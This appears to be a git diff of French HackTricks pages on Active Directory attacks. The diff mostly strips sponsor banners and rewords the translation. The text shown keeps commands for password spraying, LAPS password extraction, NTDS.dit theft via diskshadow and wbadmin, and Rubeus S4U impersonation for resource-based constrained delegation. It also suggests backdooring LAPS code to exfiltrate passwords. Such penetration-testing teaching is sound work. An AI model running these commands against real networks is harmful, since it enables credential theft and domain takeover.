- -{% embed url="https://websec.nl/" %} - ## Introduction -Le problème du "Double Hop" Kerberos apparaît lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos à travers deux** **hops**, par exemple en utilisant **PowerShell**/**WinRM**. +Le problème de "Double Hop" Kerberos apparaît lorsqu'un attaquant tente d'utiliser **l'authentification Kerberos à travers deux** **hops**, par exemple en utilisant **PowerShell**/**WinRM**. Lorsque **l'authentification** se produit via **Kerberos**, **les identifiants** **ne sont pas** mis en cache dans **la mémoire.** Par conséquent, si vous exécutez mimikatz, vous **ne trouverez pas les identifiants** de l'utilisateur sur la machine même s'il exécute des processus. -Ceci est dû au fait que lors de la connexion avec Kerberos, voici les étapes : +C'est parce que lors de la connexion avec Kerberos, voici les étapes : -1. L'utilisateur1 fournit des identifiants et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur1. -2. L'utilisateur1 utilise le **TGT** pour demander un **ticket de service** pour **se connecter** à Server1. -3. L'utilisateur1 **se connecte** à **Server1** et fournit le **ticket de service**. -4. **Server1** **n'a pas** les **identifiants** de l'utilisateur1 mis en cache ni le **TGT** de l'utilisateur1. Par conséquent, lorsque l'utilisateur1 de Server1 essaie de se connecter à un deuxième serveur, il **n'est pas en mesure de s'authentifier**. +1. User1 fournit des identifiants et le **contrôleur de domaine** renvoie un **TGT** Kerberos à User1. +2. User1 utilise le **TGT** pour demander un **ticket de service** pour **se connecter** à Server1. +3. User1 **se connecte** à **Server1** et fournit le **ticket de service**. +4. **Server1** **n'a pas** les **identifiants** de User1 mis en cache ni le **TGT** de User1. Par conséquent, lorsque User1 de Server1 essaie de se connecter à un deuxième serveur, il **n'est pas en mesure de s'authentifier**. ### Délégation non contrainte -Si la **délégation non contrainte** est activée sur le PC, cela ne se produira pas car le **Serveur** obtiendra un **TGT** de chaque utilisateur y accédant. De plus, si la délégation non contrainte est utilisée, vous pouvez probablement **compromettre le contrôleur de domaine** à partir de cela.\ +Si la **délégation non contrainte** est activée sur le PC, cela ne se produira pas car le **Serveur** obtiendra un **TGT** de chaque utilisateur y accédant. De plus, si la délégation non contrainte est utilisée, vous pouvez probablement **compromettre le Contrôleur de Domaine** à partir de cela.\ [**Plus d'infos sur la page de délégation non contrainte**](unconstrained-delegation.md). ### CredSSP -Une autre façon d'éviter ce problème qui est [**notablement peu sécurisé**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) est le **Provider de Support de Sécurité des Identifiants**. De Microsoft : +Une autre façon d'éviter ce problème qui est [**notablement peu sécurisé**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) est le **Fournisseur de Support de Sécurité des Identifiants**. De Microsoft : > L'authentification CredSSP délègue les identifiants de l'utilisateur de l'ordinateur local à un ordinateur distant. Cette pratique augmente le risque de sécurité de l'opération distante. Si l'ordinateur distant est compromis, lorsque les identifiants lui sont transmis, les identifiants peuvent être utilisés pour contrôler la session réseau. @@ -40,7 +36,7 @@ Get-WSManCredSSP ### Invoke Command -Pour résoudre le problème du double saut, une méthode impliquant un `Invoke-Command` imbriqué est présentée. Cela ne résout pas le problème directement mais offre une solution de contournement sans nécessiter de configurations spéciales. L'approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée depuis une machine d'attaque initiale ou à travers une PS-Session précédemment établie avec le premier serveur. Voici comment cela se fait : +Pour résoudre le problème du double saut, une méthode impliquant un `Invoke-Command` imbriqué est présentée. Cela ne résout pas le problème directement mais offre une solution de contournement sans nécessiter de configurations spéciales. L'approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée depuis une machine d'attaque initiale ou à travers une PS-Session précédemment établie avec le premier serveur. Voici comment cela fonctionne : ```powershell $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { @@ -92,8 +88,5 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T - [https://learn.microsoft.com/en-gb/archive/blogs/sergey_babkins_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey_babkins_blog/another-solution-to-multi-hop-powershell-remoting) - [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index dd59f3166..92e625575 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -2,15 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Informations de base Local Administrator Password Solution (LAPS) est un outil utilisé pour gérer un système où les **mots de passe administrateur**, qui sont **uniques, aléatoires et fréquemment changés**, sont appliqués aux ordinateurs joints au domaine. Ces mots de passe sont stockés en toute sécurité dans Active Directory et ne sont accessibles qu'aux utilisateurs qui ont reçu l'autorisation via des listes de contrôle d'accès (ACL). La sécurité des transmissions de mots de passe du client au serveur est assurée par l'utilisation de **Kerberos version 5** et de **Advanced Encryption Standard (AES)**. -Dans les objets d'ordinateur du domaine, l'implémentation de LAPS entraîne l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe administrateur en texte clair** et **son heure d'expiration**. +Dans les objets d'ordinateur du domaine, la mise en œuvre de LAPS entraîne l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe administrateur en texte clair** et **son heure d'expiration**. ### Vérifier si activé ```bash @@ -27,7 +24,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs ``` ### Accès au mot de passe LAPS -Vous pouvez **télécharger la politique LAPS brute** depuis `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` et ensuite utiliser **`Parse-PolFile`** du package [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pour convertir ce fichier en format lisible par l'homme. +Vous pouvez **télécharger la politique LAPS brute** depuis `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` et ensuite utiliser **`Parse-PolFile`** du package [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pour convertir ce fichier en un format lisible par l'homme. De plus, les **cmdlets PowerShell LAPS natives** peuvent être utilisées si elles sont installées sur une machine à laquelle nous avons accès : ```powershell @@ -92,7 +89,7 @@ S'il n'y a pas d'accès à un powershell, vous pouvez abuser de ce privilège à ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` -Cela va extraire tous les mots de passe que l'utilisateur peut lire, vous permettant d'obtenir une meilleure emprise avec un autre utilisateur. +Cela va extraire tous les mots de passe que l'utilisateur peut lire, vous permettant d'obtenir une meilleure prise avec un autre utilisateur. ## ** Utilisation du mot de passe LAPS ** ``` @@ -120,7 +117,7 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099 ### Backdoor -Le code source original pour LAPS peut être trouvé [ici](https://github.com/GreyCorbel/admpwd), il est donc possible d'ajouter une backdoor dans le code (dans la méthode `Get-AdmPwdPassword` dans `Main/AdmPwd.PS/Main.cs` par exemple) qui **exfiltrera de nouveaux mots de passe ou les stockera quelque part**. +Le code source original pour LAPS peut être trouvé [ici](https://github.com/GreyCorbel/admpwd), il est donc possible d'insérer une backdoor dans le code (dans la méthode `Get-AdmPwdPassword` dans `Main/AdmPwd.PS/Main.cs` par exemple) qui **exfiltrera de nouveaux mots de passe ou les stockera quelque part**. Ensuite, il suffit de compiler le nouveau `AdmPwd.PS.dll` et de le télécharger sur la machine dans `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (et de changer l'heure de modification). @@ -128,8 +125,5 @@ Ensuite, il suffit de compiler le nouveau `AdmPwd.PS.dll` et de le télécharger - [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index a0464b61c..cdd0b47d0 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -2,15 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Overpass The Hash/Pass The Key (PTK) -L'attaque **Overpass The Hash/Pass The Key (PTK)** est conçue pour des environnements où le protocole NTLM traditionnel est restreint, et où l'authentification Kerberos prend le pas. Cette attaque exploite le hachage NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant un accès non autorisé aux ressources au sein d'un réseau. +L'attaque **Overpass The Hash/Pass The Key (PTK)** est conçue pour des environnements où le protocole NTLM traditionnel est restreint, et l'authentification Kerberos prend le pas. Cette attaque exploite le hash NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant un accès non autorisé aux ressources au sein d'un réseau. -Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM ou le mot de passe du compte de l'utilisateur ciblé. Une fois cette information sécurisée, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder aux services ou machines auxquels l'utilisateur a des permissions. +Pour exécuter cette attaque, la première étape consiste à acquérir le hash NTLM ou le mot de passe du compte de l'utilisateur ciblé. Une fois cette information sécurisée, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder aux services ou machines auxquels l'utilisateur a des permissions. Le processus peut être initié avec les commandes suivantes : ```bash @@ -37,8 +34,5 @@ Pour se conformer à la sécurité opérationnelle et utiliser AES256, la comman - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md index e3bf87a3b..f7b9ef0d5 100644 --- a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md +++ b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -2,22 +2,14 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %} - ## Pass The Ticket (PTT) Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent le ticket d'authentification d'un utilisateur** au lieu de son mot de passe ou de ses valeurs de hachage. Ce ticket volé est ensuite utilisé pour **usurper l'identité de l'utilisateur**, obtenant un accès non autorisé aux ressources et services au sein d'un réseau. -**Lire** : +**Lire**: -- [Collecte de tickets depuis Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) -- [Collecte de tickets depuis Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) +- [Harvesting tickets from Windows](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) +- [Harvesting tickets from Linux](../../network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) ### **Échange de tickets Linux et Windows entre plateformes** @@ -48,12 +40,4 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pass-the-ticket) pour créer facilement et **automatiser des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pass-the-ticket" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 1b89e42d9..f7a03ec09 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## **Password Spraying** @@ -19,7 +14,7 @@ Notez que vous **pourriez verrouiller certains comptes si vous essayez plusieurs ### Obtenir la politique de mot de passe -Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez **obtenir la politique de mot de passe avec** : +Si vous avez des identifiants d'utilisateur ou un shell en tant qu'utilisateur de domaine, vous pouvez **obtenir la politique de mot de passe avec** : ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -56,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ PARFOIS NE FONCTIONNE PAS +- Utilisation de [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ PARFOIS NE FONCTIONNE PAS ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -82,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut générer des utilisateurs à partir du domaine par défaut et il obtiendra la politique de mot de passe du domaine et limitera les essais en conséquence) : +- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut générer des utilisateurs à partir du domaine par défaut et il obtiendra la politique de mot de passe du domaine et limitera les essais en fonction de celle-ci) : ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -130,10 +125,5 @@ Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 1f04f2c19..a9c76683d 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -2,14 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -## Groupes Bien Connus avec des privilèges d'administration +## Groupes Bien Connus avec des Privilèges d'Administration - **Administrateurs** - **Administrateurs de Domaine** @@ -23,7 +16,7 @@ Pour identifier les membres de ce groupe, la commande suivante est exécutée : ```powershell Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Ajouter de nouveaux utilisateurs est autorisé, ainsi que la connexion locale à DC01. +L'ajout de nouveaux utilisateurs est autorisé, ainsi que la connexion locale à DC01. ## Groupe AdminSDHolder @@ -67,7 +60,7 @@ Pour lister les membres du groupe, exécutez : ```powershell Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` -### Attaque locale +### Attaque Locale Pour tirer parti de ces privilèges localement, les étapes suivantes sont employées : @@ -88,7 +81,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over ``` ### AD Attack -Un accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données `NTDS.dit`, qui contient tous les hachages NTLM pour les utilisateurs et les ordinateurs du domaine. +L'accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données `NTDS.dit`, qui contient tous les hachages NTLM pour les utilisateurs et les ordinateurs du domaine. #### Using diskshadow.exe @@ -133,7 +126,7 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Pour une démonstration pratique, voir [VIDÉO DE DÉMO AVEC IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). +Pour une démonstration pratique, voir [VIDÉO DE DÉMONSTRATION AVEC IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins @@ -174,14 +167,14 @@ Pour plus de détails sur ce vecteur d'attaque, référez-vous à ired.team. #### Mimilib.dll -Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des shells inversés. [Consultez ce post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) pour plus d'informations. +Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des shells inversés. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) pour plus d'informations. ### Enregistrement WPAD pour MitM Les DnsAdmins peuvent manipuler les enregistrements DNS pour effectuer des attaques Man-in-the-Middle (MitM) en créant un enregistrement WPAD après avoir désactivé la liste de blocage des requêtes globales. Des outils comme Responder ou Inveigh peuvent être utilisés pour usurper et capturer le trafic réseau. ### Lecteurs de journaux d'événements -Les membres peuvent accéder aux journaux d'événements, trouvant potentiellement des informations sensibles telles que des mots de passe en clair ou des détails d'exécution de commandes : +Les membres peuvent accéder aux journaux d'événements, trouvant potentiellement des informations sensibles telles que des mots de passe en texte clair ou des détails d'exécution de commandes : ```powershell # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse @@ -189,7 +182,7 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va ``` ## Permissions Windows d'Exchange -Ce groupe peut modifier les DACL sur l'objet de domaine, accordant potentiellement des privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le dépôt GitHub Exchange-AD-Privesc. +Ce groupe peut modifier les DACL sur l'objet de domaine, ce qui peut potentiellement accorder des privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le dépôt GitHub Exchange-AD-Privesc. ```powershell # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse @@ -210,13 +203,13 @@ Note : L'exploitation des liens durs a été atténuée dans les mises à jour r ## Gestion de l'organisation -Dans les environnements où **Microsoft Exchange** est déployé, un groupe spécial connu sous le nom de **Gestion de l'organisation** détient des capacités significatives. Ce groupe a le privilège d'**accéder aux boîtes aux lettres de tous les utilisateurs du domaine** et maintient **un contrôle total sur l'Unité Organisationnelle (OU) 'Groupes de sécurité Microsoft Exchange'**. Ce contrôle inclut le groupe **`Exchange Windows Permissions`**, qui peut être exploité pour l'escalade de privilèges. +Dans les environnements où **Microsoft Exchange** est déployé, un groupe spécial connu sous le nom de **Gestion de l'organisation** détient des capacités significatives. Ce groupe a le privilège d'**accéder aux boîtes aux lettres de tous les utilisateurs du domaine** et maintient **un contrôle total sur l'Unité d'Organisation 'Groupes de sécurité Microsoft Exchange'**. Ce contrôle inclut le groupe **`Exchange Windows Permissions`**, qui peut être exploité pour l'escalade de privilèges. ### Exploitation des privilèges et commandes #### Opérateurs d'impression -Les membres du groupe **Opérateurs d'impression** sont dotés de plusieurs privilèges, y compris le **`SeLoadDriverPrivilege`**, qui leur permet de **se connecter localement à un contrôleur de domaine**, de l'éteindre et de gérer les imprimantes. Pour exploiter ces privilèges, surtout si **`SeLoadDriverPrivilege`** n'est pas visible dans un contexte non élevé, il est nécessaire de contourner le Contrôle de Compte Utilisateur (UAC). +Les membres du groupe **Opérateurs d'impression** sont dotés de plusieurs privilèges, y compris le **`SeLoadDriverPrivilege`**, qui leur permet de **se connecter localement à un contrôleur de domaine**, de l'éteindre et de gérer les imprimantes. Pour exploiter ces privilèges, surtout si **`SeLoadDriverPrivilege`** n'est pas visible dans un contexte non élevé, il est nécessaire de contourner le Contrôle de compte d'utilisateur (UAC). Pour lister les membres de ce groupe, la commande PowerShell suivante est utilisée : ```powershell @@ -265,11 +258,5 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index a17863b5f..9a2e96781 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -1,39 +1,36 @@ -# Délégation contrainte basée sur les ressources +# Délégation Contraignante Basée sur les Ressources {{#include ../../banners/hacktricks-training.md}} -
-{% embed url="https://websec.nl/" %} +## Notions de Base de la Délégation Contraignante Basée sur les Ressources -## Concepts de base de la délégation contrainte basée sur les ressources - -C'est similaire à la [Délégation contrainte](constrained-delegation.md) de base mais **au lieu** de donner des permissions à un **objet** pour **imposer n'importe quel utilisateur contre un service**. La Délégation contrainte basée sur les ressources **définit** dans **l'objet qui peut imposer n'importe quel utilisateur contre lui**. +C'est similaire à la [Délégation Contraignante](constrained-delegation.md) de base mais **au lieu** de donner des permissions à un **objet** pour **imposer n'importe quel utilisateur contre un service**. La Délégation Contraignante Basée sur les Ressources **définit** dans **l'objet qui peut imposer n'importe quel utilisateur contre lui**. Dans ce cas, l'objet contraint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut imposer n'importe quel autre utilisateur contre lui. -Une autre différence importante de cette Délégation contrainte par rapport aux autres délégations est que tout utilisateur avec **des permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de Délégation, vous aviez besoin de privilèges d'administrateur de domaine). +Une autre différence importante de cette Délégation Contraignante par rapport aux autres délégations est que tout utilisateur avec **des permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de Délégation, vous aviez besoin de privilèges d'administrateur de domaine). -### Nouveaux concepts +### Nouveaux Concepts -Dans la Délégation contrainte, il a été dit que le **`TrustedToAuthForDelegation`** drapeau à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self.** Mais ce n'est pas complètement vrai.\ +Dans la Délégation Contraignante, il a été dit que le **`TrustedToAuthForDelegation`** drapeau à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self.** Mais ce n'est pas complètement vrai.\ La réalité est que même sans cette valeur, vous pouvez effectuer un **S4U2Self** contre n'importe quel utilisateur si vous êtes un **service** (avez un SPN) mais, si vous **avez `TrustedToAuthForDelegation`** le TGS retourné sera **Transférable** et si vous **n'avez pas** ce drapeau, le TGS retourné **ne sera pas** **Transférable**. -Cependant, si le **TGS** utilisé dans **S4U2Proxy** **n'est PAS Transférable**, essayer d'abuser d'une **délégation contrainte de base** **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation contrainte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment). +Cependant, si le **TGS** utilisé dans **S4U2Proxy** **n'est pas Transférable**, essayer d'abuser d'une **Délégation Contraignante de base** **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation contrainte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment). -### Structure de l'attaque +### Structure de l'Attaque -> Si vous avez **des privilèges d'écriture équivalents** sur un **compte d'ordinateur**, vous pouvez obtenir **un accès privilégié** à cette machine. +> Si vous avez **des privilèges d'écriture équivalents** sur un **compte d'ordinateur**, vous pouvez obtenir **un accès privilégié** sur cette machine. Supposons que l'attaquant a déjà **des privilèges d'écriture équivalents sur l'ordinateur de la victime**. -1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** (“Service A”). Notez que **tout** _Utilisateur Admin_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 **objets d'ordinateur (**_**MachineAccountQuota**_**)** et leur attribuer un **SPN**. Donc, l'attaquant peut simplement créer un objet d'ordinateur et définir un SPN. +1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** (“Service A”). Notez que **tout** _Utilisateur Administrateur_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 **objets d'ordinateur (**_**MachineAccountQuota**_**)** et leur attribuer un **SPN**. Donc, l'attaquant peut simplement créer un objet d'ordinateur et définir un SPN. 2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur de la victime (ServiceB) pour configurer **la délégation contrainte basée sur les ressources pour permettre à ServiceA d'imposer n'importe quel utilisateur** contre cet ordinateur de la victime (ServiceB). 3. L'attaquant utilise Rubeus pour effectuer une **attaque S4U complète** (S4U2Self et S4U2Proxy) de Service A à Service B pour un utilisateur **avec un accès privilégié à Service B**. 1. S4U2Self (depuis le compte SPN compromis/créé) : Demander un **TGS d'Administrateur pour moi** (Non Transférable). 2. S4U2Proxy : Utiliser le **TGS non Transférable** de l'étape précédente pour demander un **TGS** de **l'Administrateur** au **hôte victime**. 3. Même si vous utilisez un TGS non Transférable, comme vous exploitez la délégation contrainte basée sur les ressources, cela fonctionnera. -4. L'attaquant peut **passer le ticket** et **imposer** l'utilisateur pour obtenir **l'accès au ServiceB de la victime**. +4. L'attaquant peut **passer le ticket** et **imposer** l'utilisateur pour obtenir **un accès au ServiceB de la victime**. Pour vérifier le _**MachineAccountQuota**_ du domaine, vous pouvez utiliser : ```powershell @@ -51,7 +48,7 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString ' # Check if created Get-DomainComputer SERVICEA ``` -### Configuration de la R**eprésentation basée sur la délégation contrainte** +### Configuration de la R**esource-based Constrained Delegation** **Utilisation du module PowerShell activedirectory** ```powershell @@ -89,7 +86,7 @@ Vous pouvez générer plus de tickets en demandant une seule fois en utilisant l rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Notez que les utilisateurs ont un attribut appelé "**Cannot be delegated**". Si un utilisateur a cet attribut à True, vous ne pourrez pas l'impliquer. Cette propriété peut être vue dans BloodHound. +> Notez que les utilisateurs ont un attribut appelé "**Cannot be delegated**". Si un utilisateur a cet attribut à True, vous ne pourrez pas l'imiter. Cette propriété peut être vue dans bloodhound. ### Accès @@ -98,7 +95,7 @@ Dans cet exemple, un TGS pour le service **CIFS** a été demandé à l'Administ ```bash ls \\victim.domain.local\C$ ``` -### Abuser différents tickets de service +### Abuser de différents tickets de service Apprenez à propos des [**tickets de service disponibles ici**](silver-ticket.md#available-services). @@ -119,8 +116,5 @@ Apprenez à 